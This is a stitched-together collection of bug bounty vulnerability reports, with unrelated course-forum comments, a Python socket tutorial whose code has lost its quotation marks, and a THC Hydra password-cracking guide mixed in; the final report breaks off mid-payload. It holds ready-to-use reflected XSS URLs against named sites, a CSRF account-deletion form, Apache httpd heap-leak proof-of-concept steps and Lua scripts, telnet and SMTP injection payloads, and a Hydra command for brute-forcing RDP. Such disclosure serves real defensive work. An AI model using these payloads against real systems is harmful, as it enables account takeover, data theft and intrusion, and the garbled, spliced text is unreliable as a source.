[Information Disclosure] Read beyond bounds via ap_rwrite() [zhbug_httpd_47.2]

Greetings. I have found that ap_rwrite() (/server/protocol.c) can cause a read beyond bounds with the extra data sent to an attacker.

The bug is that ap_rwrite() passes its |int nbyte| argument to buffer_output(), where buffer_output()'s corresponding |len| argument isa |apr_size_t|. Thus, a negative |nbyte| value gets sign-extended into a gigantic |len|, causing the creation of a gigantic bucket (`0xffffffffnnnnnnnn bytes`) pointing to a buffer whose actual length is `0xnnnnnnnn`, causing a large read beyond bounds and thus a leak of heap information to an attacker.

The bug is still present in trunk.

Attached is a POC that demonstrates the vulnerability. Use it thusly:

   1. Copy bug47.2.lua into /bug47.2/bug47.2.lua .
   2. Enable LUA.

   3. Copy httpd_lines.txt from this report into httpd.conf (this adds a DATA filter to the output filter chain so that httpd sends data in small chunks).

   4. Run httpd and attach a debugger to it.
   5. Set a BP on ap_rwrite().
   6. Go on to step 7.
   7. Create a file `0x80000000` bytes long filled with 'a' characters, named /<somepath>/bug47.2.bin .
   8. Run the command

      `curl -v -i -o <somepath>/response.txt -X POST -k -T /<somepath>/bug47.2.bin http://127.0.0.1/bug47.2/bug47.2.lua`

   which POSTs the file to httpd.

    9. When the ap_rwrite() BP fires, notice that |int nbyte| == `0x80000000`. Also note the address of the end of the buffer |buf + 0x80000000|.

    10. Trace into buffer_output(). Notice how |len| == `0xffffffff80000000`. Trace into ap_fwrite() and notice how it creates a transient bucket with this length.

    11. Set a BP on data_out_filter() (modules/filters/mod_data.c) on the loop that repeatedly reads <= `6000` bytes of data to be turned into data: URLs.

    12. Proceed. When the BP fires, examine data_out_filter()'s normal behavior.

    13. Disable the BP and proceed. Wait until the debugger pops up an read-beyond-bounds exception, most likely in apr_base64_encode_binary() (apr-util/encoding/apr_base64.c). Examine |string| (the beginning of the buffer that apr_base64_encode_binary() is reading from), and notice that it's already beyond the end of the buffer that you calculated in step 9, showing that some previous iteration of data_out_filter()'s loop sent beyond-bounds data to the attacking host.

    14. If curl hasn't exited by itself, hit ctrl/c.

    15. Examine the beginning of <somepath>/response.txt and notice how its response payload section contains the repeating pattern ("YWFh"), which is the base64 encoding of 'aaa' (which is what you filled bug47.2.bin with).

    16. Examine the end of <somepath>/response.txt and notice how it containsa block of something other than "YWFh", indicating that httpd sent back something other than the base64-encoded value of repeating 'a's. What gets sent back depends on the arrangement of the heap, which depends upon your httpd build (mine is debug), platform, timing, and server loading.
```
-------- bug47.2.lua ----------------------------------------------------
function handle(r)
    local s = r:requestbody()
    r:puts(s)
end
-------- bug47.2.lua ----------------------------------------------------
```
```
-------- httpd_lines.txt ----------------------------------------------------
<Location /bug47.2>
   SetOutputFilter DATA
</Location>
-------- httpd_lines.txt ----------------------------------------------------
```

## Impact

The attacker could exfiltrate data from the victim site's heap. In mitigation, the victim site must run a suitable LUA program (the POC just reads data from the attacker and echoes it back to her, but a more-realistic program would transform the data in some way).

Use of this attack is likely to cause an access violation and consequent crash, which is useful for a DoS attack.


[Insecure Direct Object Reference (IDOR)] Read Other Users Reports Through Cloning

## Summary:
I team, I have found a vulnerability where I am able to read other users reports through the clone report function.
If an attacker goes to try read another users report, we get a 500 internal error response.
But if an attacker uses the clone report function, we are able to clone a victims report and read it on our attacker account

## Steps To Reproduce:
[add details for how we can reproduce the issue]

  1. Victim account has a scorecard created under https://demo.sftool.gov/tws/
  2. Attacker goes to https://demo.sftool.gov/tws/ and selects clone scorecard
 3. Attacker enters name of score card (any name)
4. Attacker clicks choose score card (have to have an existing scorecard on attacker account prior) and selects scorecard
5 Attacker turns on interceptor and changes name of scorecard to that of victim scorecard under the parameter nTwsUserScorecard.Template=    (use value testnew to see my scorecard)
6 attacker submits request

you have now cloned my scorecard into your own scorecard and can read my details (see poc attached)

## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]

  * [attachment / reference]

## Impact

If an attacker goes to try read another users report, we get a 500 internal error response.
But if an attacker uses the clone report function, we are able to clone a victims report and read it on our attacker account reading sensitive report data of another user


Yes, I finally got it thanks to your hint! But please enlighten me: netstat -antp | grep -i , as suggested in the course module won’t show that that service exposed on the localhost. What is the correct synthax to use netstat to identify the open port on localhost?


[Unknown] Go : Add more JWT sinks

This bug was reported directly to GitHub Security Lab.


[Cross-site Scripting (XSS) - Reflected] Reflected  XSS on  https://wwwapps.ups.com/ctc/request?loc=

Summary:
=========
Detalis XSS
-----------
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

## Steps To Reproduce:

  1. Go to Those Links.
https://wwwapps.ups.com/ctc/request?loc=a:%27%22/%3Ea%22%3E%3Caa%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3Een_AW&WT.svl=

##FIX
Filter input on arrival
Encode data on output
Use appropriate response headers
Content Security Policy.
These all are standards concepts for fix the XSS vulnerabilities.

## Impact

screenshot:
F1686701
POC:
F1686705


[Improper Input Validation] CVE-2023-28710 Apache Airflow Spark Provider Arbitrary File Read via JDBC

In all versions of Apache Airflow Spark Provider (the verification version is 4.0.0), because the parameters are not effectively filtered, the attacker can pass in malicious schema parameters (including malicious JDBC url) when establishing a connection with SparkJDBCHook, so that when establishing When connecting, a malicious mysql server can read any file on airflow.

this is screenshot of  email and ASF response email I submitted

████████████████

## Impact

When airflow does not enable authentication, the attacker can modify the existing connection configuration information, so that the DAG that uses SparkJDBCOperator in the system is running and connected to a malicious mysql server (or other types of servers), and is read by the attacker on the system , and more seriously, attackers can send malicious serialized data, which eventually leads to remote code execution.

This deserialization command was not successfully verified because the version of apache-common-collections-3.2.2 used by pyspark is too high, but when the jdk version used by the target system is 7u21 or there are other exploit chains, it can Causes the deserialization command to execute


There are six entries on the list with four different user names. You will be able to exclude two of them without further ado. So there are two possible answers left. If you start at the top, you won’t need a second try


Transmission Control ProtocolTCP stands for Transmission Control Protocol. TCP is a communication standard that enables application programs and computing devices to exchange messages over a network. TCP establishes a connection between the source and destination before it starts transmitting the data. It breaks large amounts of data into smaller packets while ensuring data integrity.TCP server in pythonWe import socket and threading module. The socket module provides various objects, constants , functions and related exceptions for building full-fledged network applications including client and server programs. The threading module allows a program to run multiple operations concurrently in the same process space thus making the program faster.import socketimport threadingWe create a socket object with the the AF_INET and SOCK_STREAM parameters. AF_INET specifies the address family that our socket will use and in this case, it is Internet Protocol Version 4 address. SOCK_STREAM shows that the socket object will use TCP.#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)We define the IP and the port number for the server and we pass these arguments to the socket. This tells the socket object to listen on this IP address and port number.server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))This sets the number of maximum connections that can be connected to the server.in this case, the the server can only have a maximum of 5 connections.#Listen for incomming connectionssock.listen(5)Once a client has established a connection to the server, we keep the client’s socket in the connection variable and the connection details in the client_addr variable. client_addr[0] stores the IP address of the client and client_addr[1] stores the port that the client used to establish a connection to the server.For each client connection, we spin up a thread object that calls the handle_client function and we pass in the connection variable as the argument to the function.while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()The handle_client function receives what the client socket sent and it sends back an ACK! message to the client to acknowledge that the message was received.Then it closes the connection.def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()Here is the full code for the tcp server in python.import socketimport threading#create TCP/IP socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)server_ip = 0.0.0.0server_port = 9999#Bind socket to portsock.bind((server_ip,server_port))#Listen for incomming connectionssock.listen(5)print ([*] Listening on %s:%d %(server_ip,server_port))def handle_client(client_socket):    request = client_socket.recv(1024)    print([*] Recieved: %s %request)    #send acknowldgement    data = ACK!.encode('utf-8')    client_socket.send(data)    client_socket.close()while True:    #wait for connection    connection,client_addr = sock.accept()    print([*] Accepted connection from: %s:%d %(client_addr[0],client_addr[1]))    client_handler =  threading.Thread(target=handle_client, args=(connection,))    client_handler.start()Let’s run the server.python3 tcp_server.py [*] Listening on 0.0.0.0:9999The server is listening on 0.0.0.0:9999 and is ready for any incoming connections.##TCP client in pythonCreating a tcp client is the same as creating the tcp server with only a few changes. Here the client connects to the server running on 0.0.0.0:9999 and sends a Hello World! message. Then, it prints the response it receives from the server.import sockettarget_ip = 0.0.0.0target_port = 9999#create a socket objectclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#connect


[Cleartext Storage of Sensitive Information] Exception logging in Sharepoint app reveals clear-text connection details

## Summary:
On Exceptions thrown in the context of the SharePoint app, connection credentials may be written to the Nextcloud log in clear text.

## Steps To Reproduce:

Attempt to configure a sharepoint mount in an erroneous way.

## Supporting Material/References:

  * was files publically: https://github.com/nextcloud/sharepoint/issues/141

## Impact

When an attacker gets hold of the nextcloud log, they may gain knowledge of credentials to connect to a SharePoint service.


[UI Redressing (Clickjacking)] Clickjacking at  app.lemlist.com

Hi team,

While performing security testing of your website i have found the vulnerability called Clickjacking.
Many URLS are in scope and vulnerable to Clickjacking.

What is Clickjacking ?

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.
This vulnerability affects Web Server.

Vulnerable Urls:
=============

https://app.lemlist.com

Put every above url one by one in the code of iframe, which is given below
```javascript
<html lang="tr-TR">
<kafa>
<meta karakter kümesi="UTF-8">
<title>Çerçeve Yapıyorum</title>
</head>
<body>
<h3>clickjacking güvenlik açığı</h3>
<iframe src="https://app.lemlist.com/teams/tea_sgYr5dZr478x4FQ9K/settings/user/usr_Z3GZ4DDHLLyLyZHj5/users" height="550px" width="700px"></iframe>
</body>
</html>
```

## Impact

Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker.


i was having a similar issue with the question ‘How many files exist on the system that have the “.bak” extension?’ where i kept getting 1 as the answer until i realized i didnt ssh to the target than i got the correct answer of 4


[Violation of Secure Design Principles] String length restriction byepass at https://callerfeel.mtnonline.com/profile/feedback.html

## Summary:
Hi, hope you are well :)

I found that the attacker can bye pass the lenght restriction of user name at the feedback form

## Steps To Reproduce:
{F1823237}

## Impact

Attacker can make the receiver page to delay and can cause application level dos

##Mitigation:
Restrict the lenght of the string in backend too not only front end

Best regards
@aliyugombe


Thank you very much! It took a day to figure out your hint but I finally got it. Much appreciated. Looking back now, I can’t believe I struggled so much on this one.


[Cross-site Scripting (XSS) - Reflected] XSS Reflected at https://sketch.pixiv.net/ Via `next_url`

Hi,

I Found XSS Reflected at https://sketch.pixiv.net/ Via Success URL

##Follow Me :)

##Steps :
1. Open the URL below:
https://sketch.pixiv.net/resign_request/success?next_url=javascript%3Aalert%2F**%2F(document.domain)

2. Pop ups appear :)

## Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can: Perform any action within the application that the user can perform


[Cross-site Scripting (XSS) - Reflected] reflected XSS in [www.equifax.com]

hi , I hope you are well, i found reflected XSS in this endpoint via ```q```  parameter:
```https://www.equifax.com/personal/search?q=broook```

###Steps:

1. open ```https://www.equifax.com/personal/search?q=broook```
2. view the source code of the page and search for word broook you will find that it reflected in the source code:
{F2094877}

-
-

3. ```broook``` word reflected in javascript code:
```
<script type="text/javascript">

var pageProduct = null;
window.onload = function(e){

		Analytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: "broook" , numOfSearchResultsReturned: 1});

}
</script>

```
-
-

4. By using this payload ```%22%20%2C%20internalSearchTerm%3A%20%5B"broook"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b``` , I modified the parameters of the ```Analytics.trackEvent``` function to be like this:
```
<script type="text/javascript">

var pageProduct = null;
window.onload = function(e){

		Analytics.trackEvent('SEARCHRETURNED', {internalSearchTerm: "" , internalSearchTerm: ["broook"].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 1});

}
</script>
```
{F2094892}

-
-

5. the following is the link with my XSS payload:   https://www.equifax.com/personal/search?q=%22%20%2C%20internalSearchTerm%3A%20%5B"broook"%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

{F2094902}

## Impact

an attacker can exeute JS codes on the victims and this could be steal user's cookies


Hey! anyone getting stuck at this question just make sure to use the virtual machine (pwnbox) , just make your for-loop as you know and submit the flag (use all the code). (not all packages are installed at kali so use the docker machine)


[Improper Access Control - Generic] Federated editing allows iframing possibly malicious remotes

So this attack is less likely now that you killed the trusted server auto adding. But as far as I could tell you did not clear out old servers. Let me first describe the attack:

1. UserA on ServerA sends a federated share to userB on serverB
2. Assume serverA and serverB are trusted servers
3. Now once the the trusted server is established when userB tries to edit the document it will do so on serverA. Hence the iframing
https://github.com/nextcloud/richdocuments/blob/master/lib/AppInfo/Application.php#L239

## Impact

The issue I see with this is that; not until to long ago it was trivial to establish trusted servers with federation (or from public links).

The second issue is that userB now not only has to trust serverB to be secure, properly updated etc. But also trusts implicitly serverA. ServerA could serve malicious code. That shows that the user needs to resubmit their password for example.
This is also not made clear on the settings to the admin that enabling trusted servers opens this possibility.

Now. I admit that this is all not super likely to all happen. But iframing remote sources when clicking to edit a document (which the user will just expect to open their own collabora) poses a real risk I think.


[Cross-site Scripting (XSS) - Reflected] XSS Reflected

## Summary:
Hi team,

It was found a xss reflected in your web asset.

Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response.When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client.

## Steps To Reproduce:

  1. Access the url `https://███.aspx/%22%20onmouseover=%22prompt(1)%22%20x=%22`
  2. See the popup in the screen

## Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]

  * [attachment / reference]

███

## Impact

## Impact
* An attacker that can control the code executed in a victim browser can usually fully compromise this victim. This includes :
* Perform any action within the application that the user can perform.
* Modify any information that the user is able to modify.
* Steal user cookies
* Redirect to phishing site
* Arbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.
* Malware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the
site, the user may be more likely to trust the request and actually install the malware.
* Run Arbitrary javascript code into victim's browser

## System Host(s)
██████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1. Access the url `https://███████.aspx/%22%20onmouseover=%22prompt(1)%22%20x=%22`
  2. See the popup in the screen

## Suggested Mitigation/Remediation Actions


[Violation of Secure Design Principles] Password reset token leak via "Host header"  on third party website

Hi Security Team,

#Product / URL
https://your-store.wholesale.shopifyapps.com/

#Description
It has been identified that the application is leaking Token to third party sites. In this case it was found that the Token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the reset password of user.

#Reproduction Instructions /
1) Send reset password link to your email address.
2)Now go to email, turn burp suite intercept on and click on reset password link. Check for the requests having the token in "host" as third party website. And copy the link
3)Now turn intercept off and reset the password.(with that link)
4)Now reset the password.

#Proof of Concept
F1180911

#Additional Information:
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

## Impact

As you can see in the `Host` the reset token is getting leaked to third party sites. So, the person who has the complete control over that particular third party site can Use the Token easily.


[Business Logic Errors] libssh backend CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 validation bypass

## Summary:
If libcurl is built against libssh `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` is quietly ignored. As a result a SSH connection will be established even if the SHA256 key set doesn't match.

## Steps To Reproduce:

  1. configure libcurl with libssh and build it
  2. `curl --hostpubsha256 HOSTFINGERPRINTHERE sftp://example.tld/`

Instead of  failing due to mismatching fingerprint the connection quietly continues.

While the `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 ` documentation does mention that this option `Requires the libssh2 backend`, it is still wrong to quietly ignore the validation.

## Remediation

Change `lib/vssh/libssh.c` `myssh_is_known` to reject connection if `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` is set, or implement sha256 fingerprint support for libssh.

## Impact

SSH host validation bypass.


[Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)] CVE-2023-27533: Telnet option IAC injection

## Summary:
`CURLOPT_TELNETOPTIONS` allows setting various telnet options for telnet protocol. Due to missing encoding of "Interpret as Command" `IAC` (0xff) character, the attacker who can control these option values can escape out of the telnet subnegotiation and enter arbitrary TELNET commands (*) via the `CURLOPT_TELNETOPTIONS`  options. `TTYPE`, `XDISPLOC` and `NEW_ENV` options are affected.

*) TELNET command refers to "TELNET COMMAND STRUCTURE" in RFC 854

## Steps To Reproduce:

  1. `curl --telnet-option NEW_ENV=a,b$(echo -ne "\xff\xf0INJECTED") telnet://server`

When inspected with tcpdump:
```
20:57:34.454720 IP x.x.x.x.53864 > y.y.y.y.telnet: Flags [P.], seq 17:37, ack 22, win 2058, options [nop,nop,TS val 1459077881 ecr 3403052525], length 20 [telnet SB NEW-ENVIRON IS 0 0x61 0x1 0x62 SE]
        0x0000:  4502 0048 0000 4000 4006 265a XXXX XXXX   E..H..@.@.&ZXXXX
        0x0010:  YYYY YYYY d268 0017 12a4 daa2 6603 9cb6  YYYY.h......f...
        0x0020:  8018 080a f840 0000 0101 080a 56f7 c2f9  .....@......V...
        0x0030:  cad6 75ed fffa 2700 0061 0162 fff0 494e  ..u...'..a.b..IN
        0x0040:  4a45 4354 4544 fff0                      JECTED..

```

## Remediation
  - Double encode "Interpret as Command" (`IAC`) (0xff) if it is encountered when constructing the suboption data to be sent.

## Supporting Material/References:
 *  RFC 854 - https://www.rfc-editor.org/rfc/rfc854

## Impact

Attacker being able to specify `TTYPE`, `XDISPLOC` or `NEW_ENV` values is able to inject unintended TELNET commands to the telnet connection. Depending on the use case of the telnet protocol, this may allow the attacker to inject commands or other controlling operations. The practical impact is context specific, but in worst case this could for example allow executing arbitrary OS commands on target system.


[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://█████ via "██████████" parameter

There is Reflected Cross site scripting issue at the following url:

https://█████

Proof Of Concept

https://████████?█████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████████=Search

████

Best Regards
@pelegn

## Impact

Cookies Exfiltration
SOAP Bypass
CORS Bypass
Executing javascript on the victim behalf

## System Host(s)
████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
Navigate to https://████?███████=%22onfocus%3d%22alert(document.domain)%22autofocus%3d%22&█████████████████=Search

## Suggested Mitigation/Remediation Actions


[Cross-Site Request Forgery (CSRF)] CSRF - Delete Account (Urgent)

**Target Url**
https://██████████/███/██████/█████████

**Summary:**
Hello, I found a Cross Site Request Forgery bug in the target endpoint on the GET request `████` which is critical because it can delete authenticated user account whenever he navigates to the attacker website or link.

## Step-by-step Reproduction Instructions

1. Navigate to your account in `https://█████████/████/`
2. Copy and paste the below code in an html file
```
<html>
  <body>
    <form action="https://████/████/███/">
      <input type="hidden" name="action" value="delete_profile" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```
3. Open it in the browser, hit the button and your account will be deactivated.

## Suggested Mitigation/Remediation Actions
Add a csrf-token in the header or in an hidden input to check if the user that is doing this action authorized or not.

## Impact

This action is critical and sensitive. Attacker can upload this file to a url. Sends it to the victims. And when the authenticated victims navigate to the url their accounts will be deleted.


[Unknown] Same the Url

## Summary:
i found the /graphql path and /performance_report with the post method. when i will create page with name /graphql i am not allowed on the grounds it is reserved but i can create page with name performance_report.
although both use the same method but only /graphql cannot be created.

## Shops Used to Test:
https://linkpop.com/performance_report

## Steps To Reproduce:
1. login to https://linkpop.com
2. create page and use performance_report to profile page url.
3. and it will be created successfully

Best Regards,
@4bel

## Impact

It is clear that /performance_report should not be used like /graphql.


Dictionary Password Cracking (A THC Hydra starter guide)

Hello! In this tutorial, we will explore how to run a dictionary attack of THC Hydra. Let’s get started. If you are running Kali Linux you will already have a version of Hydra installed. If not you can install it on Linux platforms using the command sudo apt-get install hydra or just download it from the Github Repository https://github.com/vanhauser-thc/thc-hydra . Once you have finished the installation you have a new application called THC-Hydra. It should look like this: image 523×616 46.3 KB THC Hydra has the option of running a dictionary attack or a brute force attack, however, in this tutorial, we will focus on the Dictionary Attack option. In the THC Hydra folder, you can import wordlists for dictionary attacks. I am getting mine from skullsecurity.org . In this, I am using the Rockyou.txt wordlist. To start the cracking, you would input command like this. hydra -t 4 -V -f -l administrator -P rockyou.txt rdp://Add IP ADRESS HERE . If you did everything correctly it should look like this: image 945×597 155 KB Congratulations! You were able to run a dictionary attack using THC Hydra. I hope this helps you. C_J


[NULL Pointer Dereference] Potential NULL dereference in libssh's sftp server

Missing allocation check in sftp server processing read requests may
cause NULL dereference on low-memory conditions. The malicious client
can request up to 4GB SFTP reads, causing allocation of up to 4GB buffers,
which is being unchecked for failure.

## Impact

This will likely crash the authenticated user sftp server's connection
(if implemented as forking as we recommend). For thread-based
servers, this might cause DoS also for legitimate users.


[Business Logic Errors] bypass forced password protection via circles app

## Summary:
A user can bypass password enforcement for link and email shares by using a circle

## Steps To Reproduce:
 1. enable forced passwords for link shares and email shares as administrator in the share settings
 2. as user create a circle and add an e-mail-address
 3. share some file to that circle

## Supporting Material/References:
Used version: Nextcloud Version 22.2.3 circles version 22.1.1

## Impact

A user can create an link that is not password protected even if this is forced by the administrator.


[Allocation of Resources Without Limits or Throttling] CVE-2022-32205: Set-Cookie denial of service

A malicious server can serve excessive amounts of Set-Cookie: headers in a HTTP response to curl and curl stores all of them. A sufficiently large amount of (big) cookies make subsequent HTTP requests to this, or other servers to which the cookies match, create requests that become larger than the threshold that curl uses internally to avoid sending crazy large requests (1048576 bytes) and instead returns an error.

This denial state might remain for as long as the same cookies are kept, match and haven't expired. Due to cookie matching rules, a server on foo.example.com can set cookies that also would match for bar.example.com, making it it possible for a "sister server" to effectively cause a denial of service for a sibling site on the same second level domain using this method.

## Impact

Denial of service


i tried with: bash (base64) and encoded spaces and slashes which contain after decode cat /flag.txt and all I get after putting this payload after to= or from= in burp image 806×321 17.3 KB and try cp and mv and don’t have results but malicious code denied I will appreciate your help


A small hint for the second users flag.txt. Read your netstat output carefully and you will notice that there is a different ip adress for ftp.


[Information Disclosure] Controllable read beyond bounds in lua_websocket_readbytes() [zhbug_httpd_126]

Greetings. I have found a read-beyond-bounds bug in lua_websocket_readbytes() that permits an attacker to exfiltrate a controllable amount of heap data if the victim site runs a suitable LUA program.

The bug is due to misuse of ap_get_brigade() and apr_bucket_read(). The following code (from v2.4.53) assumes that ap_get_brigade(...readBytes) and ap_bucket_read(...len,...) return |readBytes| or |len| bytes on success return when used in AP_MODE_READBYTES/APR_BLOCK_READ mode, respectively. This idea is false, and causes line 2242, below, to return the address of a buffer |data| that is likely to be shorter than |len|. Line 2244 then copies |len| bytes of |data|, including some number of beyond-bounds bytes, into |buffer|. A suitable LUA program can then be abused to return this |buffer| to an attacker.

The bug is still present in trunk.
```
   2230: static apr_status_t lua_websocket_readbytes(conn_rec* c, char* buffer,
   2231:         apr_off_t len)
   2232: {
   2233:     apr_bucket_brigade *brigade = apr_brigade_create(c->pool, c->bucket_alloc);
   2234:     apr_status_t rv;
   2235:     rv = ap_get_brigade(c->input_filters, brigade, AP_MODE_READBYTES,
   2236:             APR_BLOCK_READ, len);
   2237:     if (rv == APR_SUCCESS) {
   2238:         if (!APR_BRIGADE_EMPTY(brigade)) {
   2239:             apr_bucket* bucket = APR_BRIGADE_FIRST(brigade);
   2240:             const char* data = NULL;
   2241:             apr_size_t data_length = 0;
   2242:             rv = apr_bucket_read(bucket, &data, &data_length, APR_BLOCK_READ);
   2243:             if (rv == APR_SUCCESS) {
   2244:                 memcpy(buffer, data, len);
   2245:             }
   2246:             apr_bucket_delete(bucket);
   2247:         }
   2248:     }
   2249:     apr_brigade_cleanup(brigade);
   2250:     return rv;
   2251: }
```
Attached is a POC that demonstrates the bug. It creates a TLS connection to httpd, asks to upgrade the connection to websocket, then sends a websocket frame that purports to transfer `0x4000` bytes of payload to `/bug126/bug126.lua` on httpd. However, the frame does not actually include any payload. The LUA program simply does a websocket upgrade, then reads and echoes whatever data it obtains. Because of the bug, what it obtains (and echoes to the POC program) is `0x4000` bytes of beyond-bounds heap.

Use the POC thusly:

   1. Enable LUA on an httpd server.
   2. Copy bug126.lua to bug126/bug126.lua on the httpd server.
   3. Edit |SERVER_NAME| in httpd_wsclient.cpp to contain the DNS name/IP address of the server.
   4. Edit the certificate file path on httpd_wsclient.cpp line 130 to something appropriate for the certs your httpd server uses.
   5. Edit the "host" header line on httpd_wsclient.cpp line 153 appropriately for your httpd server.
   6. Build httpd_wsclient.cpp against OpenSSL 1.1.x.
   7. Attach a debugger to httpd and set a BP on line 2233, above.
   8. Start httpd_wsclient and set a BP on line 179, on the |while (len > 0)| statement.
   9. Continue execution of httpd_wsclient.
   10. You will get several BPs on line 2233. Wait for the one with |len| == 0x4000.
   11. Now step through line 2235 and notice that it returns success.
   12. Step through line 2239 (success) and 2242 (success, |data_length| == 1...oh-oh!).
   13. Now step the memcpy() and watch it copy 0x4000-1 bytes of beyond-bounds heap into |buffer|.
   14. Let httpd proceed.
   15. Now you'll get a BP in httpd_wsclient. Check |len|, which probably will be 0x2000. Look at that many bytes off |recvBuf| and verify that they're data from httpd's heap.
   16. Step the |do| loop again to get another ~0x2000 bytes of httpd heap data.
```
-------- bug126.lua ----------------------------------------------------
function handle(r)
    if r:wsupgrade() then
        local data, isFinal = r:wsread();
        r:wswrite(data);
    end
end
-------- bug126.lua ----------------------------------------------------
```
```
-------- httpd_wsclient.


[Cross-site Scripting (XSS) - Reflected] xss(r) vcc-na11.8x8.com

xss(r)  on vcc-na11.8x8.com oem parameter
"oem" parameter in endpoint vcc-na11.8x8.com is not sanitized and is pen to Reflected Cross Site Scripting Attacks
https://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+

**Description:** [add more details about this vulnerability]
xss(r)  on vcc-na11.8x8.com oem parameter
"oem" parameter in endpoint vcc-na11.8x8.com is not sanitized and is pen to Reflected Cross Site Scripting Attacks
Specifically stealing non secure cookies

## Steps To Reproduce:

(Add details for how we can reproduce the issue)

  1. Click on link
https://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+
  2. Move mouse over body
  3. xss is trigerred

## Supporting Material/References:

The payload is reflected multiple places in response body

{{#txt_unsupported_browser_chrome#}}

From <https://vcc-na11.8x8.com/CM/login.php?oem=%22onpointermove%3Dprompt%281%29+class%3Dss11+>

## Impact

Cookie stealing


[CRLF Injection] SMTP Command Injection in iCalendar Attachments to Emails via Newlines

Note: This is similar to {1509216}, but has a new source/attack vector. Apologies for not picking this up earlier.

## Summary:
When users receive iCalendar attachments in Mail, there is an option to add it to their calendar:

██████████

Once they add it to calendar, a PUT request is sent:

```
PUT /remote.php/dav/calendars/nextcloud/personal/██████.ics HTTP/2
Host: 192.168.92.132

BEGIN:VCALENDAR
PRODID:-//Nextcloud Mail
BEGIN:VTIMEZONE
TZID:Asia/Singapore
BEGIN:STANDARD
TZOFFSETFROM:+0800
TZOFFSETTO:+0800
TZNAME:+08
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
CREATED:20220319T044448Z
DTSTAMP:20220319T080250Z
LAST-MODIFIED:20220319T080250Z
SEQUENCE:2
UID:a027641d-9f3a-4570-8cff-aa5cde0ba323
DTSTART;TZID=Asia/Singapore:20220322T100000
DTEND;TZID=Asia/Singapore:20220322T110000
STATUS:CONFIRMED
SUMMARY:Normal Event
ATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP
 ANT;RSVP=TRUE;LANGUAGE=en:mailto:███
ORGANIZER;CN=Normal User:mailto:<ORGANIZER EMAIL>
END:VEVENT
END:VCALENDAR
```

At the same time, an SMTP pipelined command is sent to the email server to email <ORGANIZER EMAIL> that the user has accepted the event.

Unfortunately, since `<ORGANIZER EMAIL>` is not sanitized, if an attacker sends a poisoned iCalendar file with newlines in the `ORGANIZER` property, this will inject newlines in the pipelined SMTP commands, allowing the attacker to inject arbitrary SMTP commands.

These commands vary depending on the backend email server (Gmail, Outlook, local SMTP server) and thus can have different impacts, such as changing the `MAIL FROM` user, running sensitive commands like `QUEU` to view the current view, and so on. The errors in SMTP are returned in the response, thus making this a non-blind injection.

For example, an attacker can inject a simple `EHLO a` command:

```
BEGIN:VCALENDAR
CALSCALE:GREGORIAN
VERSION:2.0
PRODID:-//Nextcloud Mail
BEGIN:VEVENT
CREATED:20220319T044448Z
DTSTAMP:20220319T080250Z
LAST-MODIFIED:20220319T080250Z
SEQUENCE:2
UID:a027641d-9f3a-4570-8cff-aa5cde0ba323
DTSTART;TZID=Asia/Singapore:20220322T100000
DTEND;TZID=Asia/Singapore:20220322T110000
STATUS:CONFIRMED
SUMMARY:Normal Event
ATTENDEE;CN=nextcloud;CUTYPE=INDIVIDUAL;PARTSTAT=DECLINED;ROLE=REQ-PARTICIP
 ANT;RSVP=TRUE;LANGUAGE=en:mailto:████
